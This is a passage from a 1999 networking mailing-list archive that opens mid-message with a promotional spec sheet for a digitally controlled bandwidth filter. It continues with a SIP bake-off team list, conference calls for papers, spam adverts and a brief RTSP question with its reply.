or 12 bits long
Digital Multiplier and a few chips of high-speed amplifiers. The other,
this filter
technology is used with a few exactitude resistors and exactitude
capacitors also. For
example, an 8th order elliptical filter need 8chips of dual Digital
Multiplier and several
chips high bandwidth amplifiers, 8chips exactitude capacitors and
several chips exactitude
resisters. If it is possible, integrating all the Digital Multiplier and
amplifiers into
one chip or one plastic package (mixed circuit), place all the
exactitude resistors and
capacitors out of the package. It will be finest filter and very easy to
used and could
be re-designed agilely by the customers and the OEMs. The parameter of
the filters is
depending on the value of the resistors and the capacitors. Its value
could be designed
by the customs freely and calculated by constant functions directly, and
that is very
simply.
And then, the FBW filters would be very usefully in the FTTX or HFC
networks. For working
with the 256QAM or 64VSB modulation technology and any narrow-band
transmission technology
systems, such as the Broadband Cable Internet Access webs, HDTV or SDTV
and VOD systems, it
would compress the used frequency bandwidth in mostly extent. Because of
the WAN systems in
any nations will be depending on the "Tree structures" as the main road
in the webs in the
future. The frequency source is very expensive in this web, It would be
welcomed in the
Internet web digital information transmission, exchanging and switching
technology area,
DSP area and digital communications area, such as MAN and WAN coax cable
webs or the FTTX
system applications. Any way, the most of modern networking transmission
mode is TDM. It
is very suitable for the text material or media, because of it is a
fixed media in size,
and it is the fixed continue time in length and generation procedure.
But the most of
multimedia is not to be suitable with that. The data stream of voice and
video will have
no constant size to be forecasted has no constant procedure time. It is
only have a constant
and fixed bandwidth of media data stream. Because of your interesting
points is onto the
generations and the procedures of the video or audio information of thus
material or the
news, such as the high quality digital cinema, digital musicale and so
on. Certainly, you
could take the any multimedia information and any moving picture on you
desktop through the
Internet Web. It will be appeared the true alive world with you in any
site you can go! So
that, the only one of best way of the media data streams transmission
and exchanging is the
FDM mode with the SSB-ASK or VSB-ASK technology, it should be working
with the QAM or
VSB- ASK digital modulation technology in the future Internet webs.
FBW filter would be used in most of switchers and routers, which is
depending on the FDM
technologies. For the cable TV systems STB (set top box), video & audio
servers in Broadband
Cable Internet Access, cable modems or the client-end adapters in the
most of family users
and the most of business cable users in the world will need a very great
deal of broadband
web transmission bandwidth. Because of that, in any modern
home-electronic equipment, such
as the Internet officers, shopping's and the VOD or the other broadband
information
electronics, its using method would be depending on the FDM switching
technologies. So that,
the "Online Home-Electronics" or the other Internet accessing products
which is used in
people's homes would be simply to operate and easy to use. And it must
be depend on the
simply low-layer hardware equipment and protocols of the webs, such as
the VOD systems
and the STB terminals in the Broadband Cable Internet Access or HFC
networks. The FBW
technology would provide us more applicable and useable method in the
physics layer of
the public HFC networks, its FDM applications in a broadband web get us
in a lower building
price, more effective than the other technology. Such as the Broadband
Cable Internet Access
webs, HFC networks, FTTX networks, and the other and the other WAN
public broadband networks
would have a very great applications of the FBW filters.
The others, using a Flash-Band-width filter will help you get in to a
fully data stream
bandwidth management of any expensive data-link channels and the very
expensive communication
data stream bandwidth, such as the communication data-link of the
satellite communication
systems, and the ocean bottom communication systems. FBW filter will
control the any leased
data-stream bandwidth in dynamic mode within a very large frequency
range, a large range of
signal frequency bandwidth and data-stream speed in any time for a
communication administration
and operation system. It will change the bandwidth with you leased data
stream very imminently
within several microsecond, improve your expensive bandwidth of
data-stream transmission channel,
save your leased payment and money cost for any customers of digital
communications and any
Tele-communication operating and service company. It will hold any
important transmission of
data-stream in smoothly and take it freely. So, in this system, any
interrupt of your
communication data stream will be never.



The Digital Control Flash Bandwidth Filter specifications:
(1) General details:
Frequency range:   0.1Hz--100MHz
Useable frequency range:  0.1Hz--100MHz(at least)
Special frequency step:  0.001Hz-1000KHz
Transfer functions:   Elliptical, Butterworth, Chebyshev, and Bassel
function.
       And the others contacted-time filters.
Available filter type:  Low-pass filter, High-pass filter, Notch filter,

       Band-pass filter and All-pass filter.
Noise Level:  -160dB(max) (Only depend on the number of the used
amplifiers.)
Order range: 2nd--12th(Depend on the sensitivity of the transfer
functions.)
Filter switching time:  Less than 300nS (Filter Setting time is 200nS)
Useful Range:    Anti-alias filters, Reconstruction filters.

(2) Pass Band Specifications:
Frequency selectable range:  100Hz--100MHz
(Depend on the performance of the selected amplifiers)
Special Frequency steps:  1Hz-1000KHz
Pass band Dynamic range: 90dB (Depend on the amplifiers and the order of
the filter.)
Ripple:  0.01--1.0dB (Only depend on the filter function and the
passband ripple designed.)

(3) Pass to Stop Band:
Drop speed of Interim-band Cut-off:
180db/oct (8th order elliptical function with 0.05dB pass-band ripple)

(4) Stop Band:
Amplitude min drop:  120db(8th elliptical filter for example)
Frequency range:   0.1Hz--100MHz
(Depend on the amplifiers and the Digital Multiplier specifications)

(5) Digital Control specifications:
Digital component is used (8 bit, 10bit, 12bit, and 16bit is available).

The special frequency is (N1/N2) * Frequency (ref).
(The N1, N2 is the Digital component input byte, from 8bit to 16 bit.)
The Frequency (ref) is form 10Hz to 10MHz.
(This parameter is depends on one RC time constant.)
High speed and voltage feedback high-bandwidth operation amplifiers are
required.

(6) Requirement: (The filter section of 8th order)
Digital component:    8 chips (Selections depend on the frequency range)

High-performance Amplifiers: 12 to 24 chips (Selections depend on the
frequency)
Capacitors or inductors:   8 chips (exactitude degree value is 1% to
0.1%)
Resistors:          16-36 chips (exactitude degree value is 1% to 0.1%)

(7) Group delay:                Depend on the function of the filter
designed, filter
                                phase response designed, and the filter
order.

(8) Filter switching time:  Less than 300nS (Filter Setting time is
200nS)




   The Comparisons of the 4 kinds active Filters

For example:
8th order filter
Switching Capacity Filter
Digital Filter
(FIR or IIR Filter)
Traditional
Fixed Analog Frequency Filter
Digital controlling FBW filter

Noise Level or  (THD+N) Value:

Highest

-48db
Lower

-70db
Very Low

-160db
Very Low

-120db
Filter Dynamic Range
The Value:
Little

50db
Middle

70db
Very Large

160db
Large

100db
Real-time          active frequency
The range of the value:
Narrow

200Hz to 300KHz
Wide

0.001Hz to  50KHz
Very Wide

0.1Hz   to 1MHz
Very wide

0.001Hz    to 100MHz
The Outside in advance  Anti-alias & Reconstruction assistant filter
requirement

The degree of assistant filter Quality
Required





2nd to 4th order  anti-alias & reconstruction assistant outside filter
Required





4th to 6th order anti-alias & reconstruction   assistant outside filter
Not required.





----------
Not required





----------
The Precision of the special  frequency:
The ability of on-line changing the filter special frequency
&Method
Low.

+/-3%

Very easy
(Changing the switching clock)
High

+/-3%

Very difficult
(Change a new programs and
parameters )
Very high

0.1%

Very difficult.
(Changing the system time
constant)
Very high

0.1%

Easy(Writing  digital word to the filter control port)
The complex degree of the filter system designing
&The used space
Simple



Small
Very complex



Very large
Simple



Middle
Middle



Middle
The price for  produce a filter
&The difficult degree of the applications
Very low

$10~50

Easy
Very high

$300~600

Difficult
Low

$30~90

Easy
Middle

$50~100

Middle
Anti-alias &  Reconstruction filter Performance: (1)Pass Band
Ripple &Dynamic Range:
(2)Stop Band
Rejection
(3)Interim Band Dropping Slope:
Low Quality & Low Price.


+/-0.2db

50db

55db

50db/oct
Normal or High Quality & High price

+/-0.01db

70db

70db

130db/oct
Normal Quality  & Low Price


+/-0.01db

120db

120db

180db/oct
High Quality  & & Middle Price.


+/-0.01db

110db

120db

180db/oct
Online/offline Changing of highest/lowest special frequency rate &
Range:
&changing time:
All available
1000 times
300Hz to 300KHz

10mS(Time of PLL tracking & locked)
Offline available
Not available

Not available

Not available
(Reboot DSP & A/D system)
Offline available
1000 times

Not available

Not available

All available
100000 times
1KHz to 100MHz

160nS (TTL 2 bytes writing time)
Filter online reconstruction setting time (The total time  of
filter frequency switched)


10mS


Not available


Not available


300nS
Group delay and the phase response:
Producer design only.
Linear or Producer design only.
Producer design only.
Producer & User design is available.
Equality data stream speed or comported speed of its TxDAC :
&Butterworth 8th filter
(Broadband  channel HFC usable signal dynamic range is  about 50dB):
4.8Kbps to 4.8Mbps
(600SPS to 600KSPS)


8bit TxDAC
Constant 400Kbps
(50KSPS)



8bit TxDAC
Constant 800Mbps
(100MSPS)



8bit TxDAC
16Kbps to 1600Mbps
(2KSPS to 200MSPS)


8bit TxDAC
Suitable with the 8bit TxDAC and used 256QAM (or 64VSB) in  SSB/VSB mode
of technology
(Data speed of Base Band):

Carrier signal RF full-band tie up:
Difficult to be used with the 256QAM and 64VSB.
(High Level Phase Noise)
4.8Kbps(Min)
4.8Mbps(Max)

384Hz to 384KHz
Difficult to be used in variable data-speed transmission or receiving
system



Difficult to be used in variable data-speed transmission or receiving
system
With 256QAM:
8Kbps(Min)
800Mbps
(Max)
With 64VSB:
12Kbps(Min)
1200Mbps (Max).

1.28KHz to 128MHz
For the HFC Specialty signal TV Channel:
40dB Eb/N
6MHz Full-band 64VSB model
@1KHz-6MHz
Data-rate:



With 64VSB:

9.375Kbps
(Min)
56.25Mbps
(Max)

Contact Address:
No.2 Buliding Room1007,
Mudanyuan Beili, Haidian District
Beijing P. R. China,
Post Code: 100083
Name: Tan Junsheng (Robert Tan)
Tele: 8610-82076834, 86-13701070213(Mobile)
E-mail:  Tjsh@netchina.com.cn or tanjun@hotmail.com
Homepage: http://www.cnindex.net/~tjsh
Details Remind:
http://www.cnindex.net/~tjsh/Base_of_Broadband_Access.html




From confctrl-owner  Tue Nov 23 12:32:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA08246
	for confctrl-outgoing; Tue, 23 Nov 1999 12:32:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA08237
	for <confctrl@zephyr.isi.edu>; Tue, 23 Nov 1999 12:32:11 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA24283
	for <confctrl@isi.edu>; Tue, 23 Nov 1999 12:32:10 -0800 (PST)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id OAA22905;
	Tue, 23 Nov 1999 14:31:36 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id OAA23984;
	Tue, 23 Nov 1999 14:31:36 -0600 (CST)
Received: from qpop.exu.ericsson.se (qpop [138.85.1.15]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA01819; Tue, 23 Nov 1999 14:31:30 -0600 (CST)
Received: from ericsson.com (pc194116.exu.ericsson.se [138.85.194.116])
	by qpop.exu.ericsson.se (8.9.1/8.9.1) with ESMTP id OAA06727;
	Tue, 23 Nov 1999 14:31:28 -0600 (CST)
Message-ID: <383AF8DA.2566DCCB@ericsson.com>
Date: Tue, 23 Nov 1999 14:28:11 -0600
From: Ulf Andersson <ulf.andersson@ericsson.com>
Organization: Ericsson Inc
X-Mailer: Mozilla 4.04 [en] (Win95; I)
MIME-Version: 1.0
To: sip@lists.research.bell-labs.com, ensc-tia@sfu.ca,
        sip-implementors@cs.columbia.edu, confctrl@ISI.EDU,
        iptel@lists.research.bell-labs.com, eriietf@kk.ericsson.se
Subject: SIP Bake-off - Registration Closed
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello!

The registration for the 3rd SIP bakeoff is closed!

The popularity of this event has by far exceeded expectations.
Instead of having 15-17 teams as we expected, there are 33 teams
now on the final list and nearly 100 people.

Here is the final list of participating teams:

Name                Team Size  Contact
---------------------------------------
Nortel-1             5          orton@nortelnetworks.com
Pingtel              2          dpetrie@pingtel.com
Nortel-2             2          cjessen@nortelnetworks.com
Mediatrix            2          etremblay@mediatrix.com
Netspeak             2          noreilly@netspeak.com
Telogy               1          wkwok@telogy.com
Nuera                4          cteoh@nuera.com
Catapult             4          terry@catapult.com
Ericsson-2           3          hans@erix.ericsson.se
Mitel                2          Ashok_Ganesan@Mitel.COM
Agilent              2          douglas_carson@agilent.com
Dynamicsoft          3          vpatel@dynamicsoft.com
Broadsoft            4          joyce@broadsoft.com
VTEL                 2          rkrishna@vtel.com
Delta                3          nurban@delta-info.com
Radcom               2          mwinslow@radcomusa.com
E*Club               2          jon2@andrew.cmu.edu
8x8                  4          artru@8x8.com
Helsinki Tech U.     2          jose@tct.hut.fi
Columbia U.          3          hgs@cs.columbia.edu
HP Labs              1          ak@hplb.hpl.hp.com
Indigo               3          eb@indigo-software.com
OZ.com               2          jii@oz.com
Vovida               3          ldang@vovida.com
Cisco                3          manojb@cisco.com
IPCell               2          alex@ipcell.com
FacetCorp            5          clark@facetcorp.com
MCIW-3               4          kelvin.porter@wcom.com
3Com-1               2          Jerry_Mahler@mw.3com.com
MCIW-1               3          mohammad.vakil@wcom.com
Ericsson-1           3          adam.roach@ericsson.com
3Com-2               2          Ravandhu_hariram@3com.com
MCIW-2               5          steven.r.donovan@wcom.com
-----------------------------------------
TOTAL:  92 participants in 33 teams


Have a nice thanksgiving everyone!!

Regards,
Ulf


--
Ulf Andersson
Ericsson Inc          +1 972 583 7537        ulf.andersson@ericsson.com



From confctrl-owner  Fri Nov 26 18:59:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA02696
	for confctrl-outgoing; Fri, 26 Nov 1999 18:59:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA02676;
	Fri, 26 Nov 1999 18:59:14 -0800 (PST)
Received: from imc01.ex.nus.edu.sg (imc01.ex.nus.edu.sg [137.132.14.60])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA03436;
	Fri, 26 Nov 1999 18:59:12 -0800 (PST)
Received: by imc01.ex.nus.edu.sg with Internet Mail Service (5.5.2650.21)
	id <XKPGLNB8>; Sat, 27 Nov 1999 10:56:30 +0800
Message-ID: <FD3672F0C0A4D01196B30020AFFBEDC603986AB8@exs05.ex.nus.edu.sg>
From: P A Centre Visitor <engv13@nus.edu.sg>
Date: Sat, 27 Nov 1999 10:55:31 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,

The 8th IEEE International Conference On Networks will be held from
September 5- 8, 2000 in Singapore. The aim of the conference is to provide
an international forum for experts to promote, share and discuss various
issues and developments in the broad field of computer and communication
networks. 

We thus seek and solicit your contributions in the form of
original/unpublished papers, tutorials, and topics for special
sessions/panel discussions. More information on the scope of the conference
and the guidelines for the submission of contributions can
be obtained at this web site :

                      http://www.comp.nus.edu.sg/~icon/

We look forward to your participation. Thank you.

Best Regards
Icon 2000 organizing Committee








From confctrl-owner  Thu Dec  2 15:32:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA13534
	for confctrl-outgoing; Thu, 2 Dec 1999 15:32:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA13525
	for <confctrl@zephyr.isi.edu>; Thu, 2 Dec 1999 15:32:43 -0800 (PST)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA25679
	for <confctrl@isi.edu>; Thu, 2 Dec 1999 15:32:44 -0800 (PST)
Received: from default (client-151-197-126-39.bellatlantic.net [151.197.126.39])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with SMTP id SAA07543
	for <confctrl@isi.edu>; Thu, 2 Dec 1999 18:30:52 -0500 (EST)
Message-Id: <199912022330.SAA07543@smtp-out1.bellatlantic.net>
From: "iss@bellatlantic.net" <iss@bellatlantic.net>
To: "" <confctrl@ISI.EDU>
Date: Thu, 02 Dec 1999 18:29:27 -0500
Subject: SAP "HUMAN RESOURCE" Consultants Available
Reply-To: iss@bellatlantic.net
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Priority: 3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

*********************************************
If you have received this message in error, please 
reply with ONLY the word REMOVE in the subject. 
*********************************************
INTERNATIONAL SYSTEMS SOLUTIONS
A  SAP "HUMAN RESOURCE MODULE" CONSULTING COMPANY

SAP "Human Resource" Functional and Technical consultants are presented below.
If you would to like to review any of the resumes
you can visit our homepage directly at www.isssap.com

"HUMAN RESOURCE MODULE" FUNCTIONAL CONSULTANTS AVAILABLE:
 
SAP HR Functional Consultant #1791
2 1/2 yrs exp-OM,SCM,EMP,BEN,APP,PAY,INT
 
SAP HR Functional Consultant #1807
2 yrs exp-OM,BEN,TIM,PAY,PTX,INT  
                                       
SAP HR Functional Consultant #1827
2 1/2 yrsexp-OM,EMP,BEN,TIM,INW,TRV
PAY,PTX,INT 
  
SAP HR Functional Consultant #1835
3 yrs exp-OM,SCM,EMP,BEN,TIM,INW
PAY,PTX,INT 
 
SAP HR Functional Consultant #1843
3 yrs exp-OM,BEN,TIM,PAY,PTX

SAP HR Functional Consultant #1849
3 yrs exp-OM,EMP,BEN,APP,TIM,INW,TRV,
PAY,PTX,INT 

SAP HR Functional Consultant #1861
3 yrs exp-OM,SCM,EMP,BEN,TIM,APP
 
SAP HR Functional Consultant #1867 
3 yrs exp-OM,SCM,EMP,BEN,TIM,APP
PAY
 
SAP HR ABAP CONSULTANTS

SAP HR ABAP Consultant #1850
2 yrs HR ABAP exp 
 
SAP HR ABAP Consultant #1807
2 Yrs HR ABAP exp
 
SAP HR ABAP Consultant #1867
3  Yrs HR ABAP exp
   
SAP HR ABAP Consultant #1827
2 1/2  Yrs HR ABAP exp

SAP HR ABAP Consultant #1805
3  Yrs HR ABAP exp

WILLIAM BLIX - ACCOUNT MANAGER
INTERNATIONAL SYSTEMS SOLUTIONS
A SAP "HUMAN RESOURCE MODULE" COMPANY
PHONE: 610-558-2277
E-MAIL: SAPHRCOMPANY@aol.com







From confctrl-owner  Sun Dec  5 11:37:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA28856
	for confctrl-outgoing; Sun, 5 Dec 1999 11:37:24 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28842
	for <confctrl@zephyr.isi.edu>; Sun, 5 Dec 1999 11:37:22 -0800 (PST)
Received: from mailmach115.compuserve.com (98CE86A9.ipt.aol.com [152.206.134.169])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id LAA20621;
	Sun, 5 Dec 1999 11:37:20 -0800 (PST)
From: hifiber7@compuserve.com
Message-Id: <199912051937.LAA20621@venera.isi.edu>
Subject: AD:Family Reunion T Shirts & More
Date: Sun, 5 Dec 1999 11:01:07
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Message sent by:  Kuppler Graphics, 32 West Main Street, Maple Shade, New Jersey, 08052,
1-800-810-4330.   This list will NOT be sold.  All addresses 
are automatically added to our remove list.

Hello.  My name is Bill from Kuppler Graphics.  We do screenprinting on T Shirts, Sweatshirts,
Jackets, Hats, Tote Bags and more!

Do you or someone you know have a Family Reunion coming up?  Kuppler Graphics would like to
provide you with some great looking T Shirts for your Reunion.

Kuppler Graphics can also provide you with custom T's and promotional items such as imprinted
magnets, keychains, pens, mugs, hats, etc. for your business or any fundraising activity
(church, school, business etc.) We also can provide you with quality embroidery. 

We are a family owned company with over 15 years of experience.  

All work is done at this location.  No middle man.  Our prices are great!

Click reply to email us or call 1-800-810-4330 for more info


Bill
Kuppler Graphics
 
 
 
 
 
 
 

From confctrl-owner  Tue Dec  7 21:12:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA22970
	for confctrl-outgoing; Tue, 7 Dec 1999 21:12:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA22965
	for <confctrl@zephyr.isi.edu>; Tue, 7 Dec 1999 21:12:18 -0800 (PST)
Received: from samar.sasi.com (sasi.com [164.164.56.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA04254
	for <confctrl@isi.edu>; Tue, 7 Dec 1999 21:12:15 -0800 (PST)
Received: from sung17.sasi.com (sung17.sasi.com [10.0.64.17])
	by samar.sasi.com (8.9.3/8.9.3) with ESMTP id KAA07906
	for <confctrl@isi.edu>; Wed, 8 Dec 1999 10:43:07 +0530 (IST)
Received: from sasi.com (pcg127.sasi.com [10.0.64.127])
	by sung17.sasi.com (8.9.3/8.9.3) with ESMTP id KAA07558
	for <confctrl@isi.edu>; Wed, 8 Dec 1999 10:43:03 +0530 (IST)
Message-ID: <384DE8DF.FF5E6FB0@sasi.com>
Date: Wed, 08 Dec 1999 10:43:03 +0530
From: "Anil . H" <anilh@sasi.com>
Reply-To: anilh@sasi.com
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Questions regarding RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Can I post any questions related to RTSP to this list or should I post
it to confctrl-request@isi.edu  mailing list. Anyone having any more
information on some other mailing list for RTSP?

Regards
Anil



From confctrl-owner  Wed Dec  8 09:47:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27000
	for confctrl-outgoing; Wed, 8 Dec 1999 09:47:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26995
	for <confctrl@zephyr.isi.edu>; Wed, 8 Dec 1999 09:47:18 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.71.154.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA16899
	for <confctrl@ISI.EDU>; Wed, 8 Dec 1999 09:47:22 -0800 (PST)
Received: from cisco.com (dhcp-171-71-147-126.cisco.com [171.71.147.126]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id JAA09596; Wed, 8 Dec 1999 09:46:39 -0800 (PST)
Message-ID: <384E998C.168CEA95@cisco.com>
Date: Wed, 08 Dec 1999 09:46:52 -0800
From: Anup Rao <anrao@cisco.com>
Reply-To: @cisco.com
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: anilh@sasi.com
CC: confctrl@ISI.EDU
Subject: Re: Questions regarding RTSP
References: <384DE8DF.FF5E6FB0@sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Anil . H" wrote:

> Hi,
>
> Can I post any questions related to RTSP to this list or should I post
> it to confctrl-request@isi.edu  mailing list. Anyone having any more
> information on some other mailing list for RTSP?
>

This is the right list. If you are not on this list, and wish to join it,
only then does confctrl-request come into the picture.

-Anup.

>
> Regards
> Anil


From confctrl-owner  Wed Dec  8 11:47:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA05248
	for confctrl-outgoing; Wed, 8 Dec 1999 11:47:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA05241
	for <confctrl@zephyr.isi.edu>; Wed, 8 Dec 1999 11:47:32 -0800 (PST)
Received: from rum.isi.edu (rum-e.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA28601
	for <confctrl@isi.edu>; Wed, 8 Dec 1999 11:47:36 -0800 (PST)
Received: (from touch@localhost)
	by rum.isi.edu (8.8.7/8.8.6) id LAA13590;
	Wed, 8 Dec 1999 11:47:36 -0800 (PST)
Message-Id: <199912081947.LAA13590@rum.isi.edu>
To: confctrl@ISI.EDU
Date: Tue, 07 Dec 1999 16:53:45 -0800
From: Joe Touch <touch@ISI.EDU>
Reply-To: sigcomm2000-info@acm.org
Organization: Sigcomm 2000
MIME-Version: 1.0
Subject: Sigcomm 2000 CFP
Content-Type: multipart/mixed; boundary="------------F90EB79E2531E0F3907217D3"
X-Lines: 507
Status: O
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--------------F90EB79E2531E0F3907217D3
Content-Type: text/plain; charset="us-ascii"
X-Sun-Content-Length: 5278

 			   Call for Papers

		     ACM SIGCOMM 2000 Conference

	      Applications, Technologies, Architectures
	      and Protocols for Computer Communications

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000

	       Sponsored by Ericsson, Sprint, and Telia

Important dates

	Paper submission: 	January 28, 2000
	Tutorial proposals: 	February 28, 2000
	Paper acceptance: 	April 21, 2000

	http://www.acm.org/sigcomm/sigcomm2000
	sigcomm2000-info@acm.org

The SIGCOMM 2000 conference seeks papers describing significant
research contributions to the field of computer and data communication
networks. Authors are invited to submit full papers concerned with
both theory and practice. Areas of interest include, but are not
limited to:

- Distributed application networking infrastructure.
- Distributed common application services, 
  middleware protocols, and signaling.
- Routing, switching, and addressing.
- Resource sharing, quality of service, multimedia networks, 
  and OS support. 
- Multimedia networking.
- Networking aspects of the WWW.
- Heterogeneous internetworking, large-scale networks.
- Network management.
- Active network architectures and protocols.
- Important experimental results from operational networks 
  and lessons learned from prototype implementations. 
- Wireless networking and support for nomadic computing.
- Analysis and design of computer network architectures and algorithms.

SIGCOMM 2000 is a single-track, highly selective conference at which
successful submissions typically report results firmly substantiated
by experiment, implementation, simulation, or mathematical analysis.
In addition to the technical program (paper presentations), SIGCOMM
2000 will offer tutorials by noted instructors on the two days
preceding the actual conference, and a session during the conference
at which speakers may present speculative results and outrageous
opinions.

Submission Instructions: 
------------------------

Papers must be less than 20 double-spaced pages long (formatted for
printing in the Proceedings, papers may not be longer than 12 pages),
have an abstract of 100-150 words, and be original material that has
not been previously published nor is currently under review by another
conference or journal.

Authors must submit papers electronically, using the instructions at
http://www.acm.org/sigcomm/sigcomm2000/submit.  Authors not able to
comply with these instructions should contact the Program Co-Chairs,
or send mail to sigcomm2000-info@acm.org for more information.  Papers
submitted after the deadline will not be considered without an
ahead-of-time extension from the Program Co-Chairs.

All submitted papers will be judged based on their quality and
relevance through double-blind reviewing, where the identities of the
authors are withheld from the reviewers. Consult the on-line
submission instructions for information on preparing a manuscript for
double-blind review.  Authors of accepted papers will need to sign an
ACM copyright release form and present their paper at the
conference. The Proceedings of the conference will be published as a
special issue of ACM SIGCOMM Computer Communication Review. The
Program Committee may also select a few papers for possible
publication in the IEEE/ACM Transactions on Networking. Electronic
copies of the accepted papers will be published on the SIGCOMM 2000
web site prior to the conference unless authors specifically request
that this not be done.

Tutorials: 
----------

SIGCOMM 2000 will begin with two days of full-day and half-day
tutorials covering single topics in detail, at both the introductory
or advanced level. Individuals interested in submitting tutorial
proposals are encouraged to contact the Tutorial Chair before the
deadline to discuss the proposed content.

Student Paper Award: 
--------------------

Papers submitted by students may be considered for a student-paper
award, which includes full conference registration and a partial
travel grant. To be eligible, the student must be the sole author of
the paper, or the first author and primary contributor. A cover letter
or email to the Program Chairs must identify the paper as a candidate
for this competition.

SIGCOMM Award: 
--------------

The keynote speaker at SIGCOMM 2000 will be the 2000 winner of the ACM
SIGCOMM Award for lifetime contributions to the field of computer
communication. Procedures for nominating candidates for the SIGCOMM
Award can be obtained from Craig Partridge (craig@bbn.com).

General Co-Chairs

	Per Gunningberg			Steve Pink
	Uppsala U., Sweden	      	Lulea U. Tech., Sweden
	perg@docs.uu.se		      	steve@cdt.luth.se
	+46 18 471 3171			+46 920 72529

Program Co-Chairs

	Christophe Diot			Jim Kurose
	Sprint ATL, USA			U. Massachusetts, USA
	cdiot@sprintlabs.com		kurose@cs.umass.edu
	+1 650 375-4539			+1 413 545-2742

Publicity Chair

	Joe Touch
	USC/ISI, USA
	touch@isi.edu (also sigcomm2000-info@acm.org)
	+1 310 448-9151

Local Arrangements Co-Chairs

	Bengt Ahlgren			Christian Tschudin
	SICS, Sweden			Uppsala U, Sweden
	Bengt.Ahlgren@sics.se		tschudin@docs.uu.se
	+46 8 633 1562			+46 18 471 1066

Tutorials Chair

	Steve Pink
	Lulea U Tech., Sweden
	steve@cdt.luth.se
	+46 920 72529
--------------F90EB79E2531E0F3907217D3
Content-Type: text/html; charset="us-ascii"; name="Sc2000CFP-long.html"
Content-Disposition: inline;
 filename="Sc2000CFP-long.html"
X-Sun-Content-Length: 8770

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="Author" content="Joe Touch">
   <meta name="GENERATOR" content="Mozilla/4.7 [en]C-CCK-MCD {Sony}  (Win98; U) [Netscape]">
   <title>Sigcomm 2000 CFP - long</title>
</head>
<body>

<ul>
<center>
<h1>
<b><font color="#000000">Call for Papers</font></b></h1></center>

<center>
<h1>
<b><a href="http://www.acm.org/sigcomm/sigcomm2000">ACM SIGCOMM 2000 Conference</a></b></h1></center>

<center>
<h2>
Applications, Technologies, Architectures&nbsp;<br>
and Protocols for Computer Communications</h2></center>

<center>
<address>
August 28 - September 1, 2000</address></center>

<center>
<address>
